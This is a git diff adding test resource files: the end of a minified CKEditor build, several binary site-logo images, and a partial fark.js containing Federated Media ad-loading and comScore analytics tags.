+CKEDITOR.config.toolbarLocation="top";(function(){function j(a,b){var d={},e=[],f={nbsp:" ",shy:"",gt:">",lt:"<",amp:"&",apos:"'",quot:'"'},a=a.replace(/\b(nbsp|shy|gt|lt|amp|apos|quot)(?:,|$)/g,function(a,h){var c=b?"&"+h+";":f[h];d[c]=b?f[h]:"&"+h+";";e.push(c);return""});if(!b&&a){var a=a.split(","),c=document.createElement("div"),g;c.innerHTML="&"+a.join(";&")+";";g=c.innerHTML;c=null;for(c=0;c<g.length;c++){var i=g.charAt(c);d[i]="&"+a[c]+";";e.push(i)}}d.regex=e.join(b?"|":"");ret [...]
+a.config;if(a=(a=a.dataProcessor)&&a.htmlFilter){var d=[];!1!==b.basicEntities&&d.push("nbsp,gt,lt,amp");b.entities&&(d.length&&d.push("quot,iexcl,cent,pound,curren,yen,brvbar,sect,uml,copy,ordf,laquo,not,shy,reg,macr,deg,plusmn,sup2,sup3,acute,micro,para,middot,cedil,sup1,ordm,raquo,frac14,frac12,frac34,iquest,times,divide,fnof,bull,hellip,prime,Prime,oline,frasl,weierp,image,real,trade,alefsym,larr,uarr,rarr,darr,harr,crarr,lArr,uArr,rArr,dArr,hArr,forall,part,exist,empty,nabla,isin,no [...]
+b.entities_latin&&d.push("Agrave,Aacute,Acirc,Atilde,Auml,Aring,AElig,Ccedil,Egrave,Eacute,Ecirc,Euml,Igrave,Iacute,Icirc,Iuml,ETH,Ntilde,Ograve,Oacute,Ocirc,Otilde,Ouml,Oslash,Ugrave,Uacute,Ucirc,Uuml,Yacute,THORN,szlig,agrave,aacute,acirc,atilde,auml,aring,aelig,ccedil,egrave,eacute,ecirc,euml,igrave,iacute,icirc,iuml,eth,ntilde,ograve,oacute,ocirc,otilde,ouml,oslash,ugrave,uacute,ucirc,uuml,yacute,thorn,yuml,OElig,oelig,Scaron,scaron,Yuml"),b.entities_greek&&d.push("Alpha,Beta,Gamma,D [...]
+b.entities_additional&&d.push(b.entities_additional));var e=j(d.join(",")),f=e.regex?"["+e.regex+"]":"a^";delete e.regex;b.entities&&b.entities_processNumerical&&(f="[^ -~]|"+f);var f=RegExp(f,"g"),c=function(a){return b.entities_processNumerical=="force"||!e[a]?"&#"+a.charCodeAt(0)+";":e[a]},g=j("nbsp,gt,lt,amp,shy",!0),i=RegExp(g.regex,"g"),k=function(a){return g[a]};a.addRules({text:function(a){return a.replace(i,k).replace(f,c)}})}}})})();CKEDITOR.config.basicEntities=!0;
+CKEDITOR.config.entities=!0;CKEDITOR.config.entities_latin=!0;CKEDITOR.config.entities_greek=!0;CKEDITOR.config.entities_additional="#39";(function(){function n(a){var c=this.editor,d=a.document,b=d.body;(a=d.getElementById("cke_actscrpt"))&&a.parentNode.removeChild(a);(a=d.getElementById("cke_shimscrpt"))&&a.parentNode.removeChild(a);CKEDITOR.env.gecko&&(b.contentEditable=!1,2E4>CKEDITOR.env.version&&(b.innerHTML=b.innerHTML.replace(/^.*<\!-- cke-content-start --\>/,""),setTimeout(funct [...]
+!0;CKEDITOR.env.ie&&(b.hideFocus=!0,b.disabled=!0,b.removeAttribute("disabled"));delete this._.isLoadingData;this.$=b;d=new CKEDITOR.dom.document(d);this.setup();CKEDITOR.env.ie&&(d.getDocumentElement().addClass(d.$.compatMode),c.config.enterMode!=CKEDITOR.ENTER_P&&d.on("selectionchange",function(){var a=d.getBody(),b=c.getSelection(),e=b&&b.getRanges()[0];e&&(a.getHtml().match(/^<p> <\/p>$/i)&&e.startContainer.equals(a))&&setTimeout(function(){e=c.getSelection().getRanges()[0];if(! [...]
+e.moveToElementEditEnd(a);e.select()}},0)}));CKEDITOR.env.gecko&&CKEDITOR.tools.setTimeout(o,0,this,c);try{c.document.$.execCommand("2D-position",!1,!0)}catch(e){}try{c.document.$.execCommand("enableInlineTableEditing",!1,!c.config.disableNativeTableHandles)}catch(f){}if(c.config.disableObjectResizing)try{this.getDocument().$.execCommand("enableObjectResizing",!1,!1)}catch(g){this.attachListener(this,CKEDITOR.env.ie?"resizestart":"resize",function(a){a.data.preventDefault()})}(CKEDITOR.e [...]
+CKEDITOR.env.ie&&"CSS1Compat"==c.document.$.compatMode)&&this.attachListener(this,"keydown",function(a){var b=a.data.getKeystroke();if(b==33||b==34)if(CKEDITOR.env.ie)setTimeout(function(){c.getSelection().scrollIntoView()},0);else if(c.window.$.innerHeight>this.$.offsetHeight){var d=c.createRange();d[b==33?"moveToElementEditStart":"moveToElementEditEnd"](this);d.select();a.data.preventDefault()}});CKEDITOR.env.ie&&this.attachListener(d,"blur",function(){try{d.$.selection.empty()}catch(a [...]
+c.document.$.title);CKEDITOR.env.ie&&(c.document.$.title=this._.docTitle);CKEDITOR.tools.setTimeout(function(){c.fire("contentDom");if(this._.isPendingFocus){c.focus();this._.isPendingFocus=false}setTimeout(function(){c.fire("dataReady")},0);CKEDITOR.env.ie&&setTimeout(function(){if(c.document){var a=c.document.$.body;a.runtimeStyle.marginBottom="0px";a.runtimeStyle.marginBottom=""}},1E3)},0,this)}function p(a){a.checkDirty()||setTimeout(function(){a.resetDirty()},0)}function o(a){if(!a. [...]
+a.window,d=a.document,b=d.getBody(),e=b.getFirst(),f=b.getChildren().count();if(!f||1==f&&e.type==CKEDITOR.NODE_ELEMENT&&e.hasAttribute("_moz_editor_bogus_node")){p(a);var e=CKEDITOR.document,g=e.getDocumentElement(),h=g.$.scrollTop,i=g.$.scrollLeft,j=d.$.createEvent("KeyEvents");j.initKeyEvent("keypress",!0,!0,c.$,!1,!1,!1,!1,0,32);d.$.dispatchEvent(j);(h!=g.$.scrollTop||i!=g.$.scrollLeft)&&e.getWindow().$.scrollTo(i,h);f&&b.getFirst().remove();d.getBody().appendBogus();a=a.createRange( [...]
+CKEDITOR.POSITION_AFTER_START);a.select()}}}function q(){var a=[];if(8<=CKEDITOR.document.$.documentMode){a.push("html.CSS1Compat [contenteditable=false]{min-height:0 !important}");var c=[],d;for(d in CKEDITOR.dtd.$removeEmpty)c.push("html.CSS1Compat "+d+"[contenteditable=false]");a.push(c.join(",")+"{display:inline-block}")}else CKEDITOR.env.gecko&&(a.push("html{height:100% !important}"),a.push("img:-moz-broken{-moz-force-broken-image-icon:1;min-width:24px;min-height:24px}"));a.push("ht [...]
+a.push("img,input,textarea{cursor:default}");return a.join("\n")}CKEDITOR.plugins.add("wysiwygarea",{init:function(a){a.addMode("wysiwyg",function(c){function d(d){d&&d.removeListener();a.editable(new k(a,b.$.contentWindow.document.body));a.setData(a.getData(1),c)}var b=CKEDITOR.document.createElement("iframe");b.setStyles({width:"100%",height:"100%"});b.addClass("cke_wysiwyg_frame cke_reset");var e=a.ui.space("contents");e.append(b);var f="document.open();"+(l?'document.domain="'+docume [...]
+'";':"")+"document.close();",f=CKEDITOR.env.air?"javascript:void(0)":CKEDITOR.env.ie?"javascript:void(function(){"+encodeURIComponent(f)+"}())":"",g=CKEDITOR.env.ie||CKEDITOR.env.gecko;if(g)b.on("load",d);var h=[a.lang.editor,a.name].join(),i=a.lang.common.editorHelp;CKEDITOR.env.ie&&(h+=", "+i);var j=CKEDITOR.tools.getNextId(),m=CKEDITOR.dom.element.createFromHtml('<span id="'+j+'" class="cke_voice_label">'+i+"</span>");e.append(m,1);a.on("beforeModeUnload",function(a){a.removeListener( [...]
+b.setAttributes({frameBorder:0,"aria-describedby":j,title:h,src:f,tabIndex:a.tabIndex,allowTransparency:"true"});!g&&d();CKEDITOR.env.webkit&&(f=function(){e.setStyle("width","100%");b.hide();b.setSize("width",e.getSize("width"));e.removeStyle("width");b.show()},b.setCustomData("onResize",f),CKEDITOR.document.getWindow().on("resize",f));a.fire("ariaWidget",b)})}});var l=CKEDITOR.env.isCustomDomain(),k=CKEDITOR.tools.createClass({$:function(a){this.base.apply(this,arguments);this._.frameL [...]
+CKEDITOR.tools.addFunction(function(a){CKEDITOR.tools.setTimeout(n,0,this,a)},this);this._.docTitle=this.getWindow().getFrame().getAttribute("title")},base:CKEDITOR.editable,proto:{setData:function(a,c){var d=this.editor;if(c)this.setHtml(a);else{this._.isLoadingData=!0;d._.dataStore={id:1};var b=d.config,e=b.fullPage,f=b.docType,g=CKEDITOR.tools.buildStyleHtml(q()).replace(/<style>/,'<style data-cke-temp="1">');e||(g+=CKEDITOR.tools.buildStyleHtml(d.config.contentsCss));var h=b.baseHref [...]
+b.baseHref+'" data-cke-temp="1" />':"";e&&(a=a.replace(/<!DOCTYPE[^>]*>/i,function(a){d.docType=f=a;return""}).replace(/<\?xml\s[^\?]*\?>/i,function(a){d.xmlDeclaration=a;return""}));d.dataProcessor&&(a=d.dataProcessor.toHtml(a));e?(/<body[\s|>]/.test(a)||(a="<body>"+a),/<html[\s|>]/.test(a)||(a="<html>"+a+"</html>"),/<head[\s|>]/.test(a)?/<title[\s|>]/.test(a)||(a=a.replace(/<head[^>]*>/,"$&<title></title>")):a=a.replace(/<html[^>]*>/,"$&<head><title></title></head>"),h&&(a=a.replace(/< [...]
+h)),a=a.replace(/<\/head\s*>/,g+"$&"),a=f+a):a=b.docType+'<html dir="'+b.contentsLangDirection+'" lang="'+(b.contentsLanguage||d.langCode)+'"><head><title>'+this._.docTitle+"</title>"+h+g+"</head><body"+(b.bodyId?' id="'+b.bodyId+'"':"")+(b.bodyClass?' class="'+b.bodyClass+'"':"")+">"+a+"</body></html>";CKEDITOR.env.gecko&&(a=a.replace(/<body/,'<body contenteditable="true" '),2E4>CKEDITOR.env.version&&(a=a.replace(/<body[^>]*>/,"$&<\!-- cke-content-start --\>")));b='<script id="cke_actsc [...]
+(CKEDITOR.env.ie?' defer="defer" ':"")+">"+(l?'document.domain="'+document.domain+'";':"")+"var wasLoaded=0;function onload(){if(!wasLoaded)window.parent.CKEDITOR.tools.callFunction("+this._.frameLoadedHandler+",window);wasLoaded=1;}"+(CKEDITOR.env.ie?"onload();":'document.addEventListener("DOMContentLoaded", onload, false );')+"<\/script>";CKEDITOR.env.ie&&9>CKEDITOR.env.version&&(b+='<script id="cke_shimscrpt">(function(){var e="abbr,article,aside,audio,bdi,canvas,data,datalist,details [...]
+a=a.replace(/(?=\s*<\/(:?head)>)/,b);this.clearCustomData();this.clearListeners();d.fire("contentDomUnload");var i=this.getDocument();try{i.write(a)}catch(j){setTimeout(function(){i.write(a)},0)}}},getData:function(a){if(a)return this.getHtml();var a=this.editor,c=a.config.fullPage,d=c&&a.docType,b=c&&a.xmlDeclaration,e=this.getDocument(),c=c?e.getDocumentElement().getOuterHtml():e.getBody().getHtml();CKEDITOR.env.gecko&&(c=c.replace(/<br>(?=\s*(:?$|<\/body>))/,""));a.dataProcessor&&(c=a [...]
+b&&(c=b+"\n"+c);d&&(c=d+"\n"+c);return c},focus:function(){this._.isLoadingData?this._.isPendingFocus=!0:k.baseProto.focus.call(this)},detach:function(){var a=this.editor,c=a.document,d=a.window.getFrame();k.baseProto.detach.call(this);this.clearCustomData();c.getDocumentElement().clearCustomData();d.clearCustomData();CKEDITOR.tools.removeFunction(this._.frameLoadedHandler);(c=d.removeCustomData("onResize"))&&c.removeListener();a.fire("contentDomUnload");d.remove()}}});CKEDITOR.env.gecko [...]
+document.body;if(a){var c=a.getAttribute("onpageshow");a.setAttribute("onpageshow",(c?c+";":"")+'event.persisted&&(function(){var x=CKEDITOR.instances,d,i;for(i in x){d=x[i].document;if(d){d.$.designMode="off";d.$.designMode="on";}}})();')}else window.addEventListener("load",arguments.callee,!1)}()})();CKEDITOR.config.disableObjectResizing=!1;CKEDITOR.config.disableNativeTableHandles=!0;CKEDITOR.config.disableNativeSpellChecker=!0;CKEDITOR.config.contentsCss=CKEDITOR.basePath+"contents.c [...]
+c.height;d&&(a.width=g(a.width,d));c&&(a.height=g(a.height,c))}return b}}},k=CKEDITOR.plugins.add("fakeobjects",{afterInit:function(a){(a=(a=a.dataProcessor)&&a.htmlFilter)&&a.addRules(l)}});CKEDITOR.editor.prototype.createFakeElement=function(a,b,c,d){var e=this.lang.fakeobjects,e=e[c]||e.unknown,b={"class":b,"data-cke-realelement":encodeURIComponent(a.getOuterHtml()),"data-cke-real-node-type":a.type,alt:e,title:e,align:a.getAttribute("align")||""};CKEDITOR.env.hc||(b.src=CKEDITOR.getUr [...]
+"images/spacer.gif"));c&&(b["data-cke-real-element-type"]=c);d&&(b["data-cke-resizable"]=d,c=new i,d=a.getAttribute("width"),a=a.getAttribute("height"),d&&(c.rules.width=h(d)),a&&(c.rules.height=h(a)),c.populate(b));return this.document.createElement("img",{attributes:b})};CKEDITOR.editor.prototype.createFakeParserElement=function(a,b,c,d){var e=this.lang.fakeobjects,e=e[c]||e.unknown,f;f=new CKEDITOR.htmlParser.basicWriter;a.writeHtml(f);f=f.getHtml();b={"class":b,"data-cke-realelement" [...]
+"data-cke-real-node-type":a.type,alt:e,title:e,align:a.attributes.align||""};CKEDITOR.env.hc||(b.src=CKEDITOR.getUrl(k.path+"images/spacer.gif"));c&&(b["data-cke-real-element-type"]=c);d&&(b["data-cke-resizable"]=d,d=a.attributes,a=new i,c=d.width,d=d.height,void 0!=c&&(a.rules.width=h(c)),void 0!=d&&(a.rules.height=h(d)),a.populate(b));return new CKEDITOR.htmlParser.element("img",b)};CKEDITOR.editor.prototype.restoreRealElement=function(a){if(a.data("cke-real-node-type")!=CKEDITOR.NODE_ [...]
+var b=CKEDITOR.dom.element.createFromHtml(decodeURIComponent(a.data("cke-realelement")),this.document);if(a.data("cke-resizable")){var c=a.getStyle("width"),a=a.getStyle("height");c&&b.setAttribute("width",g(b.getAttribute("width"),c));a&&b.setAttribute("height",g(b.getAttribute("height"),a))}return b}})();CKEDITOR.plugins.add("link",{requires:"dialog,fakeobjects",onLoad:function(){function b(b){return c.replace(/%1/g,"rtl"==b?"right":"left").replace(/%2/g,"cke_contents_"+b)}var a="backg [...]
+a+"width:16px;min-height:15px;height:1.15em;vertical-align:"+(CKEDITOR.env.opera?"middle":"text-bottom")+";}";CKEDITOR.addCss(b("ltr")+b("rtl"))},init:function(b){b.addCommand("link",new CKEDITOR.dialogCommand("link"));b.addCommand("anchor",new CKEDITOR.dialogCommand("anchor"));b.addCommand("unlink",new CKEDITOR.unlinkCommand);b.addCommand("removeAnchor",new CKEDITOR.removeAnchorCommand);b.ui.addButton&&(b.ui.addButton("Link",{label:b.lang.link.toolbar,command:"link",
+toolbar:"links,10"}),b.ui.addButton("Unlink",{label:b.lang.link.unlink,command:"unlink",toolbar:"links,20"}),b.ui.addButton("Anchor",{label:b.lang.link.anchor.toolbar,command:"anchor",toolbar:"links,30"}));CKEDITOR.dialog.add("link",this.path+"dialogs/link.js");CKEDITOR.dialog.add("anchor",this.path+"dialogs/anchor.js");b.on("doubleclick",function(a){var c=CKEDITOR.plugins.link.getSelectedLink(b)||a.data.element;if(!c.isReadOnly())if(c.is("a")){a.data.dialog=c.getAttribute("name")&&(!c.g [...]
+!c.getChildCount())?"anchor":"link";b.getSelection().selectElement(c)}else if(CKEDITOR.plugins.link.tryRestoreFakeAnchor(b,c))a.data.dialog="anchor"});b.addMenuItems&&b.addMenuItems({anchor:{label:b.lang.link.anchor.menu,command:"anchor",group:"anchor",order:1},removeAnchor:{label:b.lang.link.anchor.remove,command:"removeAnchor",group:"anchor",order:5},link:{label:b.lang.link.menu,command:"link",group:"link",order:1},unlink:{label:b.lang.link.unlink,command:"unlink",group:"link",order:5} [...]
+b.contextMenu.addListener(function(a){if(!a||a.isReadOnly())return null;a=CKEDITOR.plugins.link.tryRestoreFakeAnchor(b,a);if(!a&&!(a=CKEDITOR.plugins.link.getSelectedLink(b)))return null;var c={};a.getAttribute("href")&&a.getChildCount()&&(c={link:CKEDITOR.TRISTATE_OFF,unlink:CKEDITOR.TRISTATE_OFF});if(a&&a.hasAttribute("name"))c.anchor=c.removeAnchor=CKEDITOR.TRISTATE_OFF;return c})},afterInit:function(b){var a=b.dataProcessor,c=a&&a.dataFilter,a=a&&a.htmlFilter,d=b._.elementsPath&&b._. [...]
+c&&c.addRules({elements:{a:function(a){var c=a.attributes;if(!c.name)return null;var d=!a.children.length;if(CKEDITOR.plugins.link.synAnchorSelector){var a=d?"cke_anchor_empty":"cke_anchor",e=c["class"];if(c.name&&(!e||0>e.indexOf(a)))c["class"]=(e||"")+" "+a;d&&CKEDITOR.plugins.link.emptyAnchorFix&&(c.contenteditable="false",c["data-cke-editable"]=1)}else if(CKEDITOR.plugins.link.fakeAnchor&&d)return b.createFakeParserElement(a,"cke_anchor","anchor");return null}}});CKEDITOR.plugins.lin [...]
+a&&a.addRules({elements:{a:function(a){delete a.attributes.contenteditable}}});d&&d.push(function(a,c){if("a"==c&&(CKEDITOR.plugins.link.tryRestoreFakeAnchor(b,a)||a.getAttribute("name")&&(!a.getAttribute("href")||!a.getChildCount())))return"anchor"})}});
+CKEDITOR.plugins.link={getSelectedLink:function(b){var a=b.getSelection(),c=a.getSelectedElement();return c&&c.is("a")?c:(a=a.getRanges(!0)[0])?(a.shrink(CKEDITOR.SHRINK_TEXT),b.elementPath(a.getCommonAncestor()).contains("a",1)):null},fakeAnchor:CKEDITOR.env.opera||CKEDITOR.env.webkit,synAnchorSelector:CKEDITOR.env.ie,emptyAnchorFix:CKEDITOR.env.ie&&8>CKEDITOR.env.version,tryRestoreFakeAnchor:function(b,a){if(a&&a.data("cke-real-element-type")&&"anchor"==a.data("cke-real-element-type")) [...]
+if(c.data("cke-saved-name"))return c}}};CKEDITOR.unlinkCommand=function(){};CKEDITOR.unlinkCommand.prototype={exec:function(b){var a=new CKEDITOR.style({element:"a",type:CKEDITOR.STYLE_INLINE,alwaysRemoveElement:1});b.removeStyle(a)},refresh:function(b,a){var c=a.lastElement&&a.lastElement.getAscendant("a",!0);c&&"a"==c.getName()&&c.getAttribute("href")&&c.getChildCount()?this.setState(CKEDITOR.TRISTATE_OFF):this.setState(CKEDITOR.TRISTATE_DISABLED)},contextSensitive:1,startDisabled:1};
+CKEDITOR.removeAnchorCommand=function(){};CKEDITOR.removeAnchorCommand.prototype={exec:function(b){var a=b.getSelection(),c=a.createBookmarks(),d;if(a&&(d=a.getSelectedElement())&&(CKEDITOR.plugins.link.fakeAnchor&&!d.getChildCount()?CKEDITOR.plugins.link.tryRestoreFakeAnchor(b,d):d.is("a")))d.remove(1);else if(d=CKEDITOR.plugins.link.getSelectedLink(b))d.hasAttribute("href")?(d.removeAttributes({name:1,"data-cke-saved-name":1}),d.removeClass("cke_anchor")):d.remove(1);a.selectBookmarks(c)}};
+CKEDITOR.tools.extend(CKEDITOR.config,{linkShowAdvancedTab:!0,linkShowTargetTab:!0});(function(){function e(b,a){if(!a)var g=b.getSelection(),a=g.getType()==CKEDITOR.SELECTION_ELEMENT&&g.getSelectedElement();if(a&&a.is("img")&&!a.data("cke-realelement")&&!a.isReadOnly())return a}function f(b){var a=b.getStyle("float");if("inherit"==a||"none"==a)a=0;a||(a=b.getAttribute("align"));return a}CKEDITOR.plugins.add("image",{requires:"dialog",init:function(b){CKEDITOR.dialog.add("image",this.pat [...]
+b.ui.addButton("Image",{label:b.lang.common.image,command:"image",toolbar:"insert,10"});b.on("doubleclick",function(a){var b=a.data.element;b.is("img")&&(!b.data("cke-realelement")&&!b.isReadOnly())&&(a.data.dialog="image")});b.addMenuItems&&b.addMenuItems({image:{label:b.lang.image.menu,command:"image",group:"image"}});b.contextMenu&&b.contextMenu.addListener(function(a){if(e(b,a))return{image:CKEDITOR.TRISTATE_OFF}})},afterInit:function(b){function a(a){var d=b.getCommand("justify"+a); [...]
+a||"right"==a)d.on("exec",function(d){var c=e(b),h;c&&(h=f(c),h==a?(c.removeStyle("float"),a==f(c)&&c.removeAttribute("align")):c.setStyle("float",a),d.cancel())});d.on("refresh",function(d){var c=e(b);c&&(c=f(c),this.setState(c==a?CKEDITOR.TRISTATE_ON:"right"==a||"left"==a?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED),d.cancel())})}}a("left");a("right");a("center");a("block")}})})();CKEDITOR.config.image_removeLinkByEmptyURL=!0;CKEDITOR.plugins.add("resize",{init:function(b){var f,g [...]
+l=("both"==a.resize_dir||"vertical"==a.resize_dir)&&a.resize_minHeight!=a.resize_maxHeight,j=function(e){var d=f,m=g,c=d+(e.data.$.screenX-n)*("rtl"==h?-1:1),e=m+(e.data.$.screenY-o);i&&(d=Math.max(a.resize_minWidth,Math.min(c,a.resize_maxWidth)));l&&(m=Math.max(a.resize_minHeight,Math.min(e,a.resize_maxHeight)));b.resize(i?d:null,m)},k=function(){CKEDITOR.document.removeListener("mousemove",j);CKEDITOR.document.removeListener("mouseup",k);b.document&&(b.document.removeListener("mousemov [...]
+k))},p=CKEDITOR.tools.addFunction(function(e){c||(c=b.getResizable());f=c.$.offsetWidth||0;g=c.$.offsetHeight||0;n=e.screenX;o=e.screenY;a.resize_minWidth>f&&(a.resize_minWidth=f);a.resize_minHeight>g&&(a.resize_minHeight=g);CKEDITOR.document.on("mousemove",j);CKEDITOR.document.on("mouseup",k);b.document&&(b.document.on("mousemove",j),b.document.on("mouseup",k))});b.on("destroy",function(){CKEDITOR.tools.removeFunction(p)});b.on("uiSpace",function(a){if("bottom"==a.data.space){var d="";i [...]
+" cke_resizer_horizontal");!i&&l&&(d=" cke_resizer_vertical");var c='<span id="'+q+'" class="cke_resizer'+d+" cke_resizer_"+h+'" title="'+CKEDITOR.tools.htmlEncode(b.lang.common.resize)+'" onmousedown="CKEDITOR.tools.callFunction('+p+', event)">'+("ltr"==h?"◢":"◣")+"</span>";"ltr"==h&&"ltr"==d?a.data.html+=c:a.data.html=c+a.data.html}},b,null,100);b.on("maximize",function(a){b.ui.space("resizer")[a.data==CKEDITOR.TRISTATE_ON?"hide":"show"]()})}}});(function(){CKEDITOR.plugins.add("source [...]
+outline:"none","text-align":"left"},CKEDITOR.tools.cssVendorPrefix("tab-size",a.config.sourceAreaTabSize||4)));var f=[a.lang.editor,a.name].join();b.setAttributes({dir:"ltr",tabIndex:CKEDITOR.env.webkit?-1:a.tabIndex,role:"textbox","aria-label":f});b.addClass("cke_source cke_reset cke_enable_context_menu");a.ui.space("contents").append(b);b=a.editable(new c(a,b));b.setData(a.getData(1));CKEDITOR.env.ie&&(b.attachListener(a,"resize",d,b),b.attachListener(CKEDITOR.document.getWindow(),"res [...]
+CKEDITOR.tools.setTimeout(d,0,b));a.fire("ariaWidget",this);e()});a.addCommand("source",e.commands.source);a.ui.addButton&&a.ui.addButton("Source",{label:a.lang.sourcearea.toolbar,command:"source",toolbar:"mode,10"});a.on("mode",function(){a.getCommand("source").setState("source"==a.mode?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)})}}});var c=CKEDITOR.tools.createClass({base:CKEDITOR.editable,proto:{setData:function(a){this.setValue(a);this.editor.fire("dataReady")},getData:function(){re [...]
+insertHtml:function(){},insertElement:function(){},insertText:function(){},setReadOnly:function(a){this[(a?"set":"remove")+"Attribute"]("readOnly","readonly")},detach:function(){c.baseProto.detach.call(this);this.clearCustomData();this.remove()}}})})();
+CKEDITOR.plugins.sourcearea={commands:{source:{modes:{wysiwyg:1,source:1},editorFocus:!1,readOnly:1,exec:function(c){"wysiwyg"==c.mode&&c.fire("saveSnapshot");c.getCommand("source").setState(CKEDITOR.TRISTATE_DISABLED);c.setMode("source"==c.mode?"wysiwyg":"source")},canUndo:!1}}};(function(){function l(a,c){var c=void 0===c||c,b;if(c)b=a.getComputedStyle("text-align");else{for(;!a.hasAttribute||!a.hasAttribute("align")&&!a.getStyle("text-align");){b=a.getParent();if(!b)break;a=b}b=a.getS [...]
+a[0];break;case "center":this.cssClassName=a[1];break;case "right":this.cssClassName=a[2];break;case "justify":this.cssClassName=a[3]}this.cssClassRegex=RegExp("(?:^|\\s+)(?:"+a.join("|")+")(?=$|\\s)")}}function j(a){var c=a.editor,b=c.createRange();b.setStartBefore(a.data.node);b.setEndAfter(a.data.node);for(var h=new CKEDITOR.dom.walker(b),d;d=h.next();)if(d.type==CKEDITOR.NODE_ELEMENT)if(!d.equals(a.data.node)&&d.getDirection())b.setStartAfter(d),h=new CKEDITOR.dom.walker(b);else{var [...]
+e&&(d.hasClass(e[0])?(d.removeClass(e[0]),d.addClass(e[2])):d.hasClass(e[2])&&(d.removeClass(e[2]),d.addClass(e[0])));e=d.getStyle("text-align");"left"==e?d.setStyle("text-align","right"):"right"==e&&d.setStyle("text-align","left")}}f.prototype={exec:function(a){var c=a.getSelection(),b=a.config.enterMode;if(c){for(var h=c.createBookmarks(),d=c.getRanges(!0),e=this.cssClassName,f,g,i=a.config.useComputedState,i=void 0===i||i,k=d.length-1;0<=k;k--){f=d[k].createIterator();for(f.enlargeBr= [...]
+f.getNextParagraph(b==CKEDITOR.ENTER_P?"p":"div");){g.removeAttribute("align");g.removeStyle("text-align");var j=e&&(g.$.className=CKEDITOR.tools.ltrim(g.$.className.replace(this.cssClassRegex,""))),m=this.state==CKEDITOR.TRISTATE_OFF&&(!i||l(g,!0)!=this.value);e?m?g.addClass(e):j||g.removeAttribute("class"):m&&g.setStyle("text-align",this.value)}}a.focus();a.forceNextSelectionCheck();c.selectBookmarks(h)}},refresh:function(a,c){var b=c.block||c.blockLimit;this.setState("body"!=b.getName [...]
+this.value?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)}};CKEDITOR.plugins.add("justify",{init:function(a){if(!a.blockless){var c=new f(a,"justifyleft","left"),b=new f(a,"justifycenter","center"),h=new f(a,"justifyright","right"),d=new f(a,"justifyblock","justify");a.addCommand("justifyleft",c);a.addCommand("justifycenter",b);a.addCommand("justifyright",h);a.addCommand("justifyblock",d);a.ui.addButton&&(a.ui.addButton("JustifyLeft",{label:a.lang.justify.left,command:"justifyleft",toolbar: [...]
+a.ui.addButton("JustifyCenter",{label:a.lang.justify.center,command:"justifycenter",toolbar:"align,20"}),a.ui.addButton("JustifyRight",{label:a.lang.justify.right,command:"justifyright",toolbar:"align,30"}),a.ui.addButton("JustifyBlock",{label:a.lang.justify.block,command:"justifyblock",toolbar:"align,40"}));a.on("dirChanged",j)}}})})();CKEDITOR.config.plugins='basicstyles,dialogui,dialog,clipboard,button,toolbar,entities,wysiwygarea,fakeobjects,link,image,resize,sourcearea,justify';CKED [...]
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_fark/cnbc.gif b/src/test/resources/s/Filer_for_fark/cnbc.gif
new file mode 100644
index 0000000..b6b3080
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/cnbc.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/cnnb.gif b/src/test/resources/s/Filer_for_fark/cnnb.gif
new file mode 100644
index 0000000..ee64be8
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/cnnb.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/dailymail.png b/src/test/resources/s/Filer_for_fark/dailymail.png
new file mode 100644
index 0000000..76abf10
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/dailymail.png differ
diff --git a/src/test/resources/s/Filer_for_fark/examiner.jpg b/src/test/resources/s/Filer_for_fark/examiner.jpg
new file mode 100644
index 0000000..fb4c198
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/examiner.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/fark.js b/src/test/resources/s/Filer_for_fark/fark.js
new file mode 100644
index 0000000..3514585
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/fark.js
@@ -0,0 +1,63 @@
+if(typeof(async_site_pixel_request_sent) == "undefined") {
+
+var fmJsHost = (("https:" == document.location.protocol) ? "https://" : "http://");
+
+
+var fm_query_string = window.location.search.substr(1).split('&');
+var fm_pairs = {};
+for (var i = 0; i < fm_query_string.length; i++) {
+ var pair = fm_query_string[i].split("=");
+ fm_pairs[pair[0]] = pair[1];
+}
+
+
+if (typeof __fm_enc_u === "undefined") {
+ var __fm_url = document.URL;
+ if (top !== self) {
+ if (typeof fm_pairs['fm_url'] === "string") {
+ __fm_url = fm_pairs['fm_url'];
+ } else if (typeof document.referrer === "string" && document.referrer !== "") {
+ __fm_url = document.referrer;
+ }
+ }
+ __fm_enc_u = (typeof encodeURIComponent === 'function') ? encodeURIComponent(__fm_url) : escape(__fm_url);
+}
+if (typeof(fm_pairs['federated_media_section']) == "string") {
+ var federated_media_section = fm_pairs['federated_media_section'];
+}
+
+var federated_media_section_source = '';
+if (typeof(federated_media_section) == "string") {
+ federated_media_section_source = federated_media_section.replace(/([^a-zA-Z0-9_\-\/])|(^\/)/g, "");
+ var federated_media_sections = ["business"];
+ var section_match = 0;
+ for (i = 0; i < federated_media_sections.length; i++) {
+ if (federated_media_section_source.toLowerCase() == federated_media_sections[i].toLowerCase()) {
+ federated_media_section_source = federated_media_sections[i];
+ section_match = 1;
+ break;
+ }
+ }
+ if (!section_match) {
+ federated_media_section_source = '';
+ }
+}
+var __fmx = __fmx || '';
+if (federated_media_section_source!="") {__fmx='&s='+federated_media_section_source;} if (typeof(___fm_kw)!="undefined"&&___fm_kw!=""){__fmx+='&keywords='+___fm_kw.replace(/fmkw=/g,"").replace(/\;/g,"|");} if (typeof(__fm_enc_u !== "undefined")) { __fmx += '&u='+__fm_enc_u;}
+var __fms = document.createElement('script'); __fms.type = 'text/javascript'; __fms.async = true; __fms.src = fmJsHost + 'tenzing.fmpub.net/?t=s&n=26' + __fmx;
+var _fmss = document.getElementsByTagName('script')[0]; _fmss.parentNode.insertBefore(__fms, _fmss);
+
+
+// comScore publisher tag
+var _comscore = _comscore || [];
+_comscore.push({ c1: "2", c2: "3005693", c3: "2", c4: "http%3A%2F%2Fwww.fark.com%2F" });
+
+(function() {
+ var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
